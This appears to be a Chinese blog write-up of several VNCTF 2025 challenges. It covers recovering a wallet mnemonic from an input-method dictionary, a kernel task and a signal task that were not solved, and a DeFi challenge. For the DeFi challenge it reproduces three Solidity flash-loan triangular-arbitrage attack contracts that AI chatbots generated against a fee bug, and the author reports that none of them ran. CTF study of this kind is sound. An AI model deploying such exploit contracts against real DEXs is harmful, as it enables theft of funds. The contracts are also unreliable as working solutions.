progress_bar.update(1) if result: print(f"Found correct sequence: {result}") break else: print("No matching address found.") 然后就发现问题了:这样组合起来有479001600种组合,完全不够时间来爆破,而且这12个助记词不保证对,那没办法了,放在kaggle上面爆破然后我做别的去了 赛后复现 根据官方的wp,找搜狗输入法的方向是正确的,但是就像我上面说的,不确定性太大了 搜狗输入法的词库确实是按照我在比赛时看到的那样,保存在/data/data/com.sohu.inputmethod.sogouoem/files/dict里面,而我在winhex里面看到的跟我用string提取的一样 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings *.bin SGCM( SGCP( SGHW( SGKC$ SGLB( SGPA( SGPF( SGTG( SGQG( SGBU( SGMU( SGPU( SGBG( SGAU( SGAB( SLDA( SGNU( 这样子看不出来任何东西,而官方wp加入了--encoding=b Deepseek: --encoding=b 表示让 strings 工具以 16位大端(Big-Endian)编码 扫描二进制文件中的字符串。 1 2 3 4 5 6 7 8 9 10 11 12 13 PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings --encoding=b * ranch only space define laundry carpet muscle ramp high twenty couch fashion 就能够看到助记词,而且有确切的顺序,导入进去就有钱包了 所以flag为VNCTF{6433c196bb66b0d8ce3aa072d794822fd87edfbc3a30e2f2335a3fb437eb3cda} 找搜狗输入法的方向是对的,只不过不能在winhex里面查看词库要用strings提取 [MISC] Something for nothing(未出) 今天我们隆重推出VNB和WMB!嗯…好像交易所的实现有不太对的地方? 稍加利用也许能拿到怪东西? 做这题的时候我已经学了一点点(真的是一点点)的合约了,提示里面给到“三角套利”,但是理财不是我的强项 于是在Deepseek的帮助下,有了这样的攻击步骤 触发闪电贷:在attack函数中,通过调用flashLoan借入5000 USDT。 执行套利操作:在executeOperation回调函数中: USDT→VNB:在池0(USDT-VNB)中将借入的USDT兑换为VNB。 VNB→WMB:在池1(VNB-WMB)中将获得的VNB兑换为WMB。 WMB→USDT:在池2(USDT-WMB)中将获得的WMB兑换回USDT。 转移利润:计算利润并将USDT利润转至profitReceiver。 归还贷款:确保剩余的USDT足够偿还闪电贷,并授权DEX取回。 关键点: 手续费漏洞:DEX的getAmountOut函数错误地将amountIn乘以1000而非扣除手续费,导致无手续费交易,使得套利成为可能。 三角套利路径:利用三个流动性池的价格差异,通过三次交换实现无风险利润。 闪电贷机制:通过闪电贷借入大量资金放大利润,并在同一交易中完成所有操作,确保原子性。 于是它给了我下面的合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IIERC20 { function transfer(address to, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function balanceOf(address owner) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } interface ISimpleDEX { function flashLoan(uint256 amount, address token) external; function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external; function getPrice(uint256 ammIndex) external view returns (uint256); function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external; function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external; } interface IAttack { function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external; } contract AttackContract is IAttack { address public token0; address public token1; address public token2; address public dex; address public profitReceiver; function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override { token0 = _token0; token1 = _token1; token2 = _token2; dex = _dex; profitReceiver = _profitReceiver; // 借入5000 USDT进行攻击 uint256 loanAmount = 5000 ether; ISimpleDEX(dex).flashLoan(loanAmount, token0); } function executeOperation(uint256 amount, address token) external { require(msg.sender == dex, "Unauthorized"); require(token == token0, "Invalid token"); // 授权DEX使用借入的USDT IIERC20(token0).approve(dex, amount); // 在池0中将USDT兑换为VNB ISimpleDEX(dex).swap(0, amount, true); // 在池1中将VNB兑换为WMB uint256 vnbBalance = IIERC20(token1).balanceOf(address(this)); IIERC20(token1).approve(dex, vnbBalance); ISimpleDEX(dex).swap(1, vnbBalance, true); // 在池2中将WMB兑换为USDT uint256 wmbBalance = IIERC20(token2).balanceOf(address(this)); IIERC20(token2).approve(dex, wmbBalance); ISimpleDEX(dex).swap(2, wmbBalance, false); // 将利润转给profitReceiver uint256 currentBalance = IIERC20(token0).balanceOf(address(this)); require(currentBalance >= amount, "无法偿还贷款"); uint256 profit = currentBalance - amount; IIERC20(token0).transfer(profitReceiver, profit); // 授权DEX取回贷款 IIERC20(token0).approve(dex, amount); } } 但问题是,我放到题目里面以后,它不跑啊…… 我还是把各种AI给的合约放在这个下面吧 Deepseek R1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IIERC20 { function transfer(address to, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function balanceOf(address owner) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } interface ISimpleDEX { function flashLoan(uint256 amount, address token) external; function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external; function getPrice(uint256 ammIndex) external view returns (uint256); function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external; function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external; } interface IAttack { function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external; } contract AttackContract is IAttack { address public token0; address public token1; address public token2; address public dex; address public profitReceiver; function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override { token0 = _token0; token1 = _token1; token2 = _token2; dex = _dex; profitReceiver = _profitReceiver; // 借入5000 USDT进行攻击 uint256 loanAmount = 5000 ether; ISimpleDEX(dex).flashLoan(loanAmount, token0); } function executeOperation(uint256 amount, address token) external { require(msg.sender == dex, "Unauthorized"); require(token == token0, "Invalid token"); // 授权DEX使用借入的USDT IIERC20(token0).approve(dex, amount); // 在池0中将USDT兑换为VNB ISimpleDEX(dex).swap(0, amount, true); // 在池1中将VNB兑换为WMB uint256 vnbBalance = IIERC20(token1).balanceOf(address(this)); IIERC20(token1).approve(dex, vnbBalance); ISimpleDEX(dex).swap(1, vnbBalance, true); // 在池2中将WMB兑换为USDT uint256 wmbBalance = IIERC20(token2).balanceOf(address(this)); IIERC20(token2).approve(dex, wmbBalance); ISimpleDEX(dex).swap(2, wmbBalance, false); // 将利润转给profitReceiver uint256 currentBalance = IIERC20(token0).balanceOf(address(this)); require(currentBalance >= amount, "无法偿还贷款"); uint256 profit = currentBalance - amount; IIERC20(token0).transfer(profitReceiver, profit); // 授权DEX取回贷款 IIERC20(token0).approve(dex, amount); } } Gemini 2.0 Pro 02-05 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IIERC20 { function transfer(address to, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function balanceOf(address owner) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } interface ISimpleDEX { function flashLoan(uint256 amount, address token) external; function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external; function getPrice(uint256 ammIndex) external view returns (uint256); function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external; function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external; } interface IAttack { function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external; } contract AttackContract is IAttack { address public token0; address public token1; address public token2; address public dex; address public profitReceiver; uint256 public loanAmount; function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external { token0 = _token0; token1 = _token1; token2 = _token2; dex = _dex; profitReceiver = _profitReceiver; loanAmount = IIERC20(token0).balanceOf(dex); // Get the maximum loanable amount ISimpleDEX(dex).flashLoan(loanAmount, token0); } function executeOperation(uint256 amount, address token) external{ require(msg.sender == dex, "Unauthorized"); require(token == token0, "Wrong token"); require(amount == loanAmount, "Wrong Amount"); IIERC20(token0).approve(dex, loanAmount); // 1. Swap USDT for VNB (ammIndex 0) ISimpleDEX(dex).swap(0, amount, true); // 2. Swap VNB for WMB (ammIndex 1) uint256 vnbBalance = IIERC20(token1).balanceOf(address(this)); IIERC20(token1).approve(dex, vnbBalance); ISimpleDEX(dex).swap(1, vnbBalance, true); // 3. Swap WMB for USDT (ammIndex 2) uint256 wmbBalance = IIERC20(token2).balanceOf(address(this)); IIERC20(token2).approve(dex, wmbBalance); ISimpleDEX(dex).swap(2, wmbBalance, true); // Transfer profit to profitReceiver uint256 profit = IIERC20(token0).balanceOf(address(this)) - amount; IIERC20(token0).transfer(profitReceiver, profit); } } ChatGPT 4o 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 // Attack.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IIERC20 { function transfer(address to, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function balanceOf(address owner) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } interface ISimpleDEX { function flashLoan(uint256 amount, address token) external; function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external; function getPrice(uint256 ammIndex) external view returns (uint256); function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external; function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external; } interface IAttack { function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external; } contract AttackContract is IAttack { address token0; address token1; address token2; address dex; address profitReceiver; uint256 flashLoanAmount = 1000 ether; // Flash loan amount (adjustable) function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external { token0 = _token0; token1 = _token1; token2 = _token2; dex = _dex; profitReceiver = _profitReceiver; // Step 1: Flash loan from SimpleDEX (borrow USDT) ISimpleDEX(dex).flashLoan(flashLoanAmount, token0); // Borrow 1000 USDT } // This function is called by the SimpleDEX during flash loan callback function executeOperation(uint256 amount, address token) external { require(msg.sender == dex, "Unauthorized"); // Step 2: Perform triangular arbitrage // 1. Swap USDT (token0) to VNB (token1) uint256 price0 = ISimpleDEX(dex).getPrice(0); // Get price of USDT -> VNB uint256 amountOut1 = (flashLoanAmount * price0) / 1e18; // Amount of VNB received ISimpleDEX(dex).swap(0, flashLoanAmount, true); // Swap USDT to VNB // 2. Swap VNB (token1) to WMB (token2) uint256 price1 = ISimpleDEX(dex).getPrice(1); // Get price of VNB -> WMB uint256 amountOut2 = (amountOut1 * price1) / 1e18; // Amount of WMB received ISimpleDEX(dex).swap(1, amountOut1, true); // Swap VNB to WMB // 3. Swap WMB (token2) to USDT (token0) uint256 price2 = ISimpleDEX(dex).getPrice(2); // Get price of WMB -> USDT uint256 amountOut3 = (amountOut2 * price2) / 1e18; // Amount of USDT received ISimpleDEX(dex).swap(2, amountOut2, false); // Swap WMB to USDT // Step 3: Repay the flash loan require(IIERC20(token).balanceOf(address(this)) >= amount, "Insufficient funds to repay loan"); IIERC20(token).transfer(msg.sender, amount); // Repay the flash loan // Step 4: Check if profit was made uint256 profit = IIERC20(token).balanceOf(profitReceiver); require(profit > flashLoanAmount, "No profit made"); // Ensure profit was made } } [PWN] FileSys(未出) You only have one chance to edit 题目给了一个bzImage、一个rootfs.cpio、一个boot.sh,用qemu启动试试 1 2 3 4 5 6 qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.cpio \ -append "root=/dev/ram console=ttyS0" \ -nographic \ -m 512M 启动确实是成功了,但我不知道要干嘛啊 =-= 题目说要edit我也不知道改啥 反倒是在用winhex翻文件的时候,在根目录有flag.txt写着VNCTF{inkey} [MISC] ezSignal(未出) 你也热爱信号吗? 本题附件下载地址:下载链接 题目给了一个压缩包,解压出来一张图,binwalk出来另一个压缩包,里面是flag.txt(180+ MB),里面看不懂啊~ 图片的描述里面,照相机序列号有key:VN2025CTF(下图是旧附件flag.txt) 后面说这题有问题,附件更新了,新附件337MB(之前那个才几MB),新附件把flag分成两部分了 1 2 3 4 5 6 7 8 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 500 x 500, 8-bit/color RGB, non-interlaced 91 0x5B Zlib compressed data, compressed 6026 0x178A Zip archive data, at least v2.0 to extract, compressed size: 176354316, uncompressed size: 194462208, name: flag1.txt 176360381 0xA830BBD Zip archive data, at least v2.0 to extract, compressed size: 177965008, uncompressed size: 194462208, name: flag2.txt 354325610 0x151E946A End of Zip archive, footer length: 22 题目给了提示 请仔细研究题目附件压缩包的文件结构 GRC流程图是 窄带FM调制+XOR 然而还是做不出来

2025/2/9
articleCard.readMore